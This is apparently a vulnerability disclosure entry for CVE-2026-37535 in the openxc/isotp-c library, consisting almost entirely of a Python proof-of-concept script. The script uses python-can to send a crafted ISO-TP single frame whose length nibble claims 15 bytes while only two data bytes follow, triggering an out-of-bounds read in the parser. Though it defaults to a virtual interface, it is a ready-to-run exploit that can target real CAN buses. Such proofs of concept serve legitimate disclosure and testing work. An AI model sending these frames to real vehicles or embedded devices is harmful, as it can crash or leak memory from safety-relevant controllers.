CVE-2026-37535 openxc/isotp-c越界读取漏洞

import can # PoC for CVE-2026-37535: ISO-TP Single Frame Out-of-Bounds Read # This script sends a malicious CAN frame with an oversized length nibble. # Configure the CAN interface (adjust 'vcan0' or interface type as needed) bus = can.interface.Bus(channel='vcan0', bustype='socketcan') def malicious_isotp_frame(): # Arbitration ID arb_id = 0x123 # ISO-TP Single Frame structure: # Byte 0: [Type (0 high nibble) | Length (low nibble)] # Setting length nibble to 0xF (15 bytes) but sending less data. # This triggers the out-of-bounds read in the vulnerable memcpy. data = [0x0F, 0x41, 0x42] msg = can.Message(arbitration_id=arb_id, data=data, is_extended_id=False) try: bus.send(msg) print(f"Malicious frame sent to ID {hex(arb_id)}: {data}") except Exception as e: print(f"Error sending frame: {e}") if __name__ == "__main__": malicious_isotp_frame() bus.shutdown()